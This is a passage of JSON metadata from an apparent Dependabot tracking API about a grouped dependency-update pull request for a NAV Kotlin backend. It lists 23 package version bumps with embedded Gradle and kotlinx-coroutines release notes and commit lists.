nodejs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9350\"\u003eKTOR-9350\u003c/a\u003e JS: Make ES2015 the default target for tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7578\"\u003eKTOR-7578\u003c/a\u003e Update Digest authentication implementation according to RFC 7616\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9503\"\u003eKTOR-9503\u003c/a\u003e The JacksonConverter.streamRequestBody property name is confusing\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9552\"\u003eKTOR-9552\u003c/a\u003e Deprecation notice for io.ktor.server.auth.Principal does not explain what to use instead\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7458\"\u003eKTOR-7458\u003c/a\u003e Jetty Jakarta: Provide an easy way to disable SNI hostname validation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9354\"\u003eKTOR-9354\u003c/a\u003e Websockets: webSocket builder function should return a Route to be describable\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9488\"\u003eKTOR-9488\u003c/a\u003e Nonce and hex function performance optimizations\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-952...\n\n_Description has been truncated_","html_url":"https://github.com/navikt/aap-meldekort-backend/pull/642","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/navikt%2Faap-meldekort-backend/issues/642","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/642/packages"}},{"old_version":"42.7.10","new_version":"42.7.11","update_type":"patch","path":null,"pr_created_at":"2026-06-02T02:01:27.000Z","version_change":"42.7.10 → 42.7.11","issue":{"uuid":"4567744644","node_id":"PR_kwDOMnDW787hmS4E","number":718,"state":"closed","title":"Bump the minor group across 1 directory with 23 updates","user":"dependabot[bot]","labels":["dependencies","java"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-06-03T23:27:53.000Z","author_association":null,"state_reason":null,"created_at":"2026-06-02T02:01:27.000Z","updated_at":"2026-06-03T23:27:55.000Z","time_to_close":163586,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","group_name":"minor","update_count":23,"packages":[{"name":"gradle-wrapper","old_version":"9.4.1","new_version":"9.5.1","repository_url":"https://github.com/gradle/gradle"},{"name":"org.jetbrains.kotlinx:kotlinx-coroutines-core","old_version":"1.10.2","new_version":"1.11.0","repository_url":"https://github.com/Kotlin/kotlinx.coroutines"},{"name":"io.ktor:ktor-server-content-negotiation","old_version":"3.4.3","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-http-jvm","old_version":"3.4.3","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-netty","old_version":"3.4.3","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-cors","old_version":"3.4.3","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-status-pages","old_version":"3.4.3","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-serialization-jackson","old_version":"3.4.3","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-client-cio","old_version":"3.4.3","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-client-content-negotiation","old_version":"3.4.3","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-serialization-jackson-jvm","old_version":"3.4.3","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor.plugin","old_version":"3.4.3","new_version":"3.5.0"},{"name":"no.nav.teamdokumenthandtering:teamdokumenthandtering-avro-schemas","old_version":"1.1.10","new_version":"1.1.11","repository_url":"https://github.com/navikt/teamdokumenthandtering-avro-schemas"},{"name":"com.fasterxml.jackson.core:jackson-databind","old_version":"2.21.2","new_version":"2.21.4","repository_url":"https://github.com/FasterXML/jackson"},{"name":"com.fasterxml.jackson.datatype:jackson-datatype-jsr310","old_version":"2.21.2","new_version":"2.21.4"},{"name":"ch.qos.logback:logback-classic","old_version":"1.5.32","new_version":"1.5.33","repository_url":"https://github.com/qos-ch/logback"},{"name":"org.postgresql:postgresql","old_version":"42.7.10","new_version":"42.7.11","repository_url":"https://github.com/pgjdbc/pgjdbc"},{"name":"org.flywaydb:flyway-database-postgresql","old_version":"12.5.0","new_version":"12.7.0"},{"name":"io.getunleash:unleash-client-java","old_version":"12.2.1","new_version":"12.2.2","repository_url":"https://github.com/Unleash/unleash-java-sdk"},{"name":"org.junit.jupiter:junit-jupiter-api","old_version":"6.0.3","new_version":"6.1.0","repository_url":"https://github.com/junit-team/junit-framework"},{"name":"org.junit.jupiter:junit-jupiter-engine","old_version":"6.0.3","new_version":"6.1.0","repository_url":"https://github.com/junit-team/junit-framework"},{"name":"org.junit.jupiter:junit-jupiter-params","old_version":"6.0.3","new_version":"6.1.0","repository_url":"https://github.com/junit-team/junit-framework"},{"name":"io.mockk:mockk","old_version":"1.14.9","new_version":"1.14.11","repository_url":"https://github.com/mockk/mockk"}],"path":null,"ecosystem":"maven"},"body":"Bumps the minor group with 23 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [gradle-wrapper](https://github.com/gradle/gradle) | `9.4.1` | `9.5.1` |\n| [org.jetbrains.kotlinx:kotlinx-coroutines-core](https://github.com/Kotlin/kotlinx.coroutines) | `1.10.2` | `1.11.0` |\n| [io.ktor:ktor-server-content-negotiation](https://github.com/ktorio/ktor) | `3.4.3` | `3.5.0` |\n| [io.ktor:ktor-http-jvm](https://github.com/ktorio/ktor) | `3.4.3` | `3.5.0` |\n| [io.ktor:ktor-server-netty](https://github.com/ktorio/ktor) | `3.4.3` | `3.5.0` |\n| [io.ktor:ktor-server-cors](https://github.com/ktorio/ktor) | `3.4.3` | `3.5.0` |\n| [io.ktor:ktor-server-status-pages](https://github.com/ktorio/ktor) | `3.4.3` | `3.5.0` |\n| [io.ktor:ktor-serialization-jackson](https://github.com/ktorio/ktor) | `3.4.3` | `3.5.0` |\n| [io.ktor:ktor-client-cio](https://github.com/ktorio/ktor) | `3.4.3` | `3.5.0` |\n| [io.ktor:ktor-client-content-negotiation](https://github.com/ktorio/ktor) | `3.4.3` | `3.5.0` |\n| [io.ktor:ktor-serialization-jackson-jvm](https://github.com/ktorio/ktor) | `3.4.3` | `3.5.0` |\n| io.ktor.plugin | `3.4.3` | `3.5.0` |\n| [no.nav.teamdokumenthandtering:teamdokumenthandtering-avro-schemas](https://github.com/navikt/teamdokumenthandtering-avro-schemas) | `1.1.10` | `1.1.11` |\n| [com.fasterxml.jackson.core:jackson-databind](https://github.com/FasterXML/jackson) | `2.21.2` | `2.21.4` |\n| com.fasterxml.jackson.datatype:jackson-datatype-jsr310 | `2.21.2` | `2.21.4` |\n| [ch.qos.logback:logback-classic](https://github.com/qos-ch/logback) | `1.5.32` | `1.5.33` |\n| [org.postgresql:postgresql](https://github.com/pgjdbc/pgjdbc) | `42.7.10` | `42.7.11` |\n| org.flywaydb:flyway-database-postgresql | `12.5.0` | `12.7.0` |\n| [io.getunleash:unleash-client-java](https://github.com/Unleash/unleash-java-sdk) | `12.2.1` | `12.2.2` |\n| [org.junit.jupiter:junit-jupiter-api](https://github.com/junit-team/junit-framework) | `6.0.3` | `6.1.0` |\n| [org.junit.jupiter:junit-jupiter-engine](https://github.com/junit-team/junit-framework) | `6.0.3` | `6.1.0` |\n| [org.junit.jupiter:junit-jupiter-params](https://github.com/junit-team/junit-framework) | `6.0.3` | `6.1.0` |\n| [io.mockk:mockk](https://github.com/mockk/mockk) | `1.14.9` | `1.14.11` |\n\n\nUpdates `gradle-wrapper` from 9.4.1 to 9.5.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/gradle/gradle/releases\"\u003egradle-wrapper's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e9.5.1\u003c/h2\u003e\n\u003cp\u003eThe Gradle team is excited to announce Gradle 9.5.1.\u003c/p\u003e\n\u003cp\u003eHere are the highlights of this release:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eTask provenance in reports and failure messages\u003c/li\u003e\n\u003cli\u003eType-safe accessors for precompiled Kotlin Settings plugins\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003ca href=\"https://docs.gradle.org/9.5.1/release-notes.html\"\u003eRead the Release Notes\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eWe would like to thank the following community members for their contributions to this release of Gradle:\n\u003ca href=\"https://github.com/atm1020\"\u003eatm1020\u003c/a\u003e,\n\u003ca href=\"https://github.com/mataha\"\u003emataha\u003c/a\u003e,\n\u003ca href=\"https://github.com/aSemy\"\u003eAdam\u003c/a\u003e,\n\u003ca href=\"https://github.com/kelemen\"\u003eAttila Kelemen\u003c/a\u003e,\n\u003ca href=\"https://github.com/britter\"\u003eBenedikt Ritter\u003c/a\u003e,\n\u003ca href=\"https://github.com/Vampire\"\u003eBjörn Kautler\u003c/a\u003e,\n\u003ca href=\"https://github.com/budindepunk\"\u003eCaro Silva Rode\u003c/a\u003e,\n\u003ca href=\"https://github.com/chanani\"\u003eCHANHAN\u003c/a\u003e,\n\u003ca href=\"https://github.com/DmitryNez\"\u003eDmitry Nezavitin\u003c/a\u003e,\n\u003ca href=\"https://github.com/Juneezee\"\u003eEng Zer Jun\u003c/a\u003e,\n\u003ca href=\"https://github.com/KugelLibelle\"\u003eKugelLibelle\u003c/a\u003e,\n\u003ca href=\"https://github.com/vmadalin\"\u003eMadalin Valceleanu\u003c/a\u003e,\n\u003ca href=\"https://github.com/quijote\"\u003eMarkus Gaisbauer\u003c/a\u003e,\n\u003ca href=\"https://github.com/koppor\"\u003eOliver Kopp\u003c/a\u003e,\n\u003ca href=\"https://github.com/hfhbd\"\u003ePhilip Wedemann\u003c/a\u003e,\n\u003ca href=\"https://github.com/ploober\"\u003eploober\u003c/a\u003e,\n\u003ca href=\"https://github.com/rpalcolea\"\u003eRoberto Perez Alcolea\u003c/a\u003e,\n\u003ca href=\"https://github.com/R0h1tAnand\"\u003eRohit Anand\u003c/a\u003e,\n\u003ca href=\"https://github.com/Suvrat1629\"\u003eSuvrat Acharya\u003c/a\u003e,\n\u003ca href=\"https://github.com/usv240\"\u003eUjwal Suresh Vanjare\u003c/a\u003e,\n\u003ca href=\"https://github.com/urdak\"\u003eVictor Merkulov\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003eUpgrade instructions\u003c/h2\u003e\n\u003cp\u003eSwitch your build to use Gradle 9.5.1 by updating your wrapper:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e./gradlew wrapper --gradle-version=9.5.1 \u0026amp;\u0026amp; ./gradlew wrapper\r\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eSee the Gradle \u003ca href=\"https://docs.gradle.org/9.5.1/userguide/upgrading_version_9.html\"\u003e9.x upgrade guide\u003c/a\u003e to learn about deprecations, breaking changes and other considerations when upgrading.\u003c/p\u003e\n\u003cp\u003eFor Java, Groovy, Kotlin and Android compatibility, see the \u003ca href=\"https://docs.gradle.org/9.5.1/userguide/compatibility.html\"\u003efull compatibility notes\u003c/a\u003e.\u003c/p\u003e\n\u003ch2\u003eReporting problems\u003c/h2\u003e\n\u003cp\u003eIf you find a problem with this release, please file a bug on \u003ca href=\"https://github.com/gradle/gradle/issues\"\u003eGitHub Issues\u003c/a\u003e adhering to our issue guidelines.\nIf you're not sure you're encountering a bug, please use the \u003ca href=\"https://discuss.gradle.org/c/help-discuss\"\u003eforum\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eWe hope you will build happiness with Gradle, and we look forward to your feedback via \u003ca href=\"https://twitter.com/gradle\"\u003eTwitter\u003c/a\u003e or on \u003ca href=\"https://github.com/gradle\"\u003eGitHub\u003c/a\u003e.\u003c/p\u003e\n\u003ch2\u003e9.5.0\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gradle/gradle/commit/fd78213f09782e62ca4957f9cfd3d90c6c3f1767\"\u003e\u003ccode\u003efd78213\u003c/code\u003e\u003c/a\u003e Update Documentation Infrastructure: Fix scrolling issue in user manual (\u003ca href=\"https://redirect.github.com/gradle/gradle/issues/37861\"\u003e#37861\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gradle/gradle/commit/7758437128d1c52702786ad719a13ade1b860aa8\"\u003e\u003ccode\u003e7758437\u003c/code\u003e\u003c/a\u003e fix scroll\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gradle/gradle/commit/2fd605fdcd69fea10570e9eb1343bbd7ca01c9d0\"\u003e\u003ccode\u003e2fd605f\u003c/code\u003e\u003c/a\u003e Only try to run as worker thread in DefaultBuildOperationQueue (\u003ca href=\"https://redirect.github.com/gradle/gradle/issues/37845\"\u003e#37845\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gradle/gradle/commit/af6984901238402386ae263d746380504e5f9138\"\u003e\u003ccode\u003eaf69849\u003c/code\u003e\u003c/a\u003e Release notes for Gradle 9.5.1 (\u003ca href=\"https://redirect.github.com/gradle/gradle/issues/37853\"\u003e#37853\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gradle/gradle/commit/f4d9d03e9bb47d2d17b6d8314fdaa32c3d0b3c1e\"\u003e\u003ccode\u003ef4d9d03\u003c/code\u003e\u003c/a\u003e Release notes for Gradle 9.5.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gradle/gradle/commit/01eda3adf40dbe97e81475e813705409dcfe1091\"\u003e\u003ccode\u003e01eda3a\u003c/code\u003e\u003c/a\u003e Address review feedback on worker-lease retry changes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gradle/gradle/commit/7024e15139b2db9df831dd15a8b9e9052acd9a51\"\u003e\u003ccode\u003e7024e15\u003c/code\u003e\u003c/a\u003e Revert enrich file visitor with size info on \u003ccode\u003erelease\u003c/code\u003e branch (\u003ca href=\"https://redirect.github.com/gradle/gradle/issues/37848\"\u003e#37848\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gradle/gradle/commit/d51476fda21330c037a04b43ec9a93a929d05b87\"\u003e\u003ccode\u003ed51476f\u003c/code\u003e\u003c/a\u003e Fix tryRunAsWorkerThread null-return test to match contract\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gradle/gradle/commit/090ebabc5b6f648e01c0269a321d80372fdbfe0f\"\u003e\u003ccode\u003e090ebab\u003c/code\u003e\u003c/a\u003e Revert \u0026quot;Add getLength() to FilePropertyVisitor.VisitState\u0026quot;\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gradle/gradle/commit/bceab24677298144860f6919bdcb031e806dbf23\"\u003e\u003ccode\u003ebceab24\u003c/code\u003e\u003c/a\u003e Revert \u0026quot;Fix annotation\u0026quot;\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/gradle/gradle/compare/v9.4.1...v9.5.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `org.jetbrains.kotlinx:kotlinx-coroutines-core` from 1.10.2 to 1.11.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/releases\"\u003eorg.jetbrains.kotlinx:kotlinx-coroutines-core's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.11.0\u003c/h2\u003e\n\u003ch3\u003eVarious\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKotlin was updated to 2.2.20 (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4545\"\u003e#4545\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eImproved the published jar files (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/3842\"\u003e#3842\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4599\"\u003e#4599\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eVarious documentation improvements, including complete rewrites of structured concurrency and error handling-related KDoc (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4433\"\u003e#4433\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4596\"\u003e#4596\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBreaking changes and deprecations\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eMoved \u003ccode\u003ePromise\u003c/code\u003e-related functions from JS and Wasm/JS to the new \u003ccode\u003eweb\u003c/code\u003e target. On Wasm/JS, this is a breaking change. Before the change, \u003ccode\u003ePromise\u003c/code\u003e on Wasm/JS could work with arbitrary Kotlin types, but now, only \u003ccode\u003eJsAny\u003c/code\u003e subtypes are accepted (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4563\"\u003e#4563\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eChanged handling of coroutine exceptions that can't be propagated on JS and Wasm/JS. B\nefore, exceptions were logged, but now, they are reported to the JS runtime (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4451\"\u003e#4451\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4631\"\u003e#4631\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eDeprecated using \u003ccode\u003eCoroutineDispatcher\u003c/code\u003e as the coroutine context key; now, \u003ccode\u003eContinuationInterceptor\u003c/code\u003e has to be used instead (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4333\"\u003e#4333\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdvanced the deprecation levels on \u003ccode\u003ekotlinx-coroutines-test\u003c/code\u003e APIs (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4604\"\u003e#4604\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded lint functions that mark passing a \u003ccode\u003eJob\u003c/code\u003e to coroutine builders as deprecated (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4435\"\u003e#4435\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug fixes and improvements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdded a \u003ccode\u003ecallsInPlace(EXACTLY_ONCE)\u003c/code\u003e contract to \u003ccode\u003erunBlocking\u003c/code\u003e in code shared between JVM and Native (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4368\"\u003e#4368\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded a \u003ccode\u003ecallsInPlace(EXACTLY_ONCE)\u003c/code\u003e contract to \u003ccode\u003esuspendCancellableCoroutine\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4574\"\u003e#4574\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eflowOn\u003c/code\u003e incorrectly handling \u003ccode\u003eThreadContextElement\u003c/code\u003e updates (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4403\"\u003e#4403\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed exceptions in user-supplied \u003ccode\u003eThread.UncaughtExceptionHandler\u003c/code\u003e instances causing the internal coroutines machinery to fail (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4516\"\u003e#4516\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eCoroutineDispatcher.asScheduler\u003c/code\u003e in the RxJava integration not cancelling outstanding work when a \u003ccode\u003eWorker\u003c/code\u003e gets cancelled, which led to memory leaks in some scenarios (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4615\"\u003e#4615\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eSharedFlow\u003c/code\u003e entering an invalid state when a subscriber and an emitter are cancelled simultaneously (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4583\"\u003e#4583\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed an R8 optimization leading to \u003ccode\u003eshareIn\u003c/code\u003e/\u003ccode\u003estateIn\u003c/code\u003e coroutines getting garbage-collected (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4646\"\u003e#4646\u003c/a\u003e). Thanks, \u003ca href=\"https://github.com/solevic\"\u003e\u003ccode\u003e@​solevic\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eSmall additions\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdded \u003ccode\u003eCompletableDeferred.asDeferred\u003c/code\u003e for obtaining a read-only \u003ccode\u003eDeferred\u003c/code\u003e view (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4408\"\u003e#4408\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded \u003ccode\u003eSharedFlow.asFlow\u003c/code\u003e for obtaining a \u003ccode\u003eFlow\u003c/code\u003e view with hidden hot flow semantics (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4530\"\u003e#4530\u003c/a\u003e). Thanks, \u003ca href=\"https://github.com/g000sha256\"\u003e\u003ccode\u003e@​g000sha256\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eAdded a \u003ccode\u003eStateFlow.collectLatest\u003c/code\u003e overload returning \u003ccode\u003eNothing\u003c/code\u003e to assist with finding unreachable code (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4454\"\u003e#4454\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded \u003ccode\u003eReceiveChannel.consumeTo\u003c/code\u003e for consuming a \u003ccode\u003eReceiveChannel\u003c/code\u003e into a \u003ccode\u003eMutableCollection\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4520\"\u003e#4520\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded a \u003ccode\u003eStateFlow\u0026lt;T\u0026gt;.onSubscription\u003c/code\u003e overload returning a \u003ccode\u003eStateFlow\u0026lt;T\u0026gt;\u003c/code\u003e, similar to \u003ccode\u003eSharedFlow\u0026lt;T\u0026gt;.onSubscription\u003c/code\u003e returning \u003ccode\u003eSharedFlow\u0026lt;T\u0026gt;\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4275\"\u003e#4275\u003c/a\u003e). Thanks, \u003ca href=\"https://github.com/xit0c\"\u003e\u003ccode\u003e@​xit0c\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eAdded terminal \u003ccode\u003eFlow\u003c/code\u003e operators for collecting a \u003ccode\u003eFlow\u003c/code\u003e to a \u003ccode\u003eMap\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/1541\"\u003e#1541\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChangelog relative to version 1.11.0\u003c/h3\u003e\n\u003cp\u003eNo changes, only the version is increased.\u003c/p\u003e\n\u003ch2\u003e1.11.0-rc02\u003c/h2\u003e\n\u003cp\u003eRestored binary compatibility with 1.10.2 and older versions on Wasm/JS for usages of \u003ccode\u003ePromise\u003c/code\u003e-related functions (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4661\"\u003e#4661\u003c/a\u003e).\u003c/p\u003e\n\u003ch2\u003e1.11.0-rc01\u003c/h2\u003e\n\u003ch3\u003eVarious\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKotlin was updated to 2.2.20 (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4545\"\u003e#4545\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eImproved the published jar files (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/3842\"\u003e#3842\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4599\"\u003e#4599\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eVarious documentation improvements, including complete rewrites of structured concurrency and error handling-related KDoc (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4433\"\u003e#4433\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4596\"\u003e#4596\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBreaking changes and deprecations\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/blob/master/CHANGES.md\"\u003eorg.jetbrains.kotlinx:kotlinx-coroutines-core's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eVersion 1.11.0\u003c/h2\u003e\n\u003ch3\u003eVarious\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKotlin was updated to 2.2.20 (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4545\"\u003e#4545\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eImproved the published jar files (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/3842\"\u003e#3842\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4599\"\u003e#4599\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eVarious documentation improvements, including complete rewrites of structured concurrency and error handling-related KDoc (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4433\"\u003e#4433\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4596\"\u003e#4596\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBreaking changes and deprecations\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eMoved \u003ccode\u003ePromise\u003c/code\u003e-related functions from JS and Wasm/JS to the new \u003ccode\u003eweb\u003c/code\u003e target. On Wasm/JS, this is a breaking change. Before the change, \u003ccode\u003ePromise\u003c/code\u003e on Wasm/JS could work with arbitrary Kotlin types, but now, only \u003ccode\u003eJsAny\u003c/code\u003e subtypes are accepted (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4563\"\u003e#4563\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eChanged handling of coroutine exceptions that can't be propagated on JS and Wasm/JS. Before, exceptions were logged, but now, they are reported to the JS runtime (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4451\"\u003e#4451\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4631\"\u003e#4631\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eDeprecated using \u003ccode\u003eCoroutineDispatcher\u003c/code\u003e as the coroutine context key; now, \u003ccode\u003eContinuationInterceptor\u003c/code\u003e has to be used instead (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4333\"\u003e#4333\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdvanced the deprecation levels on \u003ccode\u003ekotlinx-coroutines-test\u003c/code\u003e APIs (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4604\"\u003e#4604\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded lint functions that mark passing a \u003ccode\u003eJob\u003c/code\u003e to coroutine builders as deprecated (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4435\"\u003e#4435\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug fixes and improvements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdded a 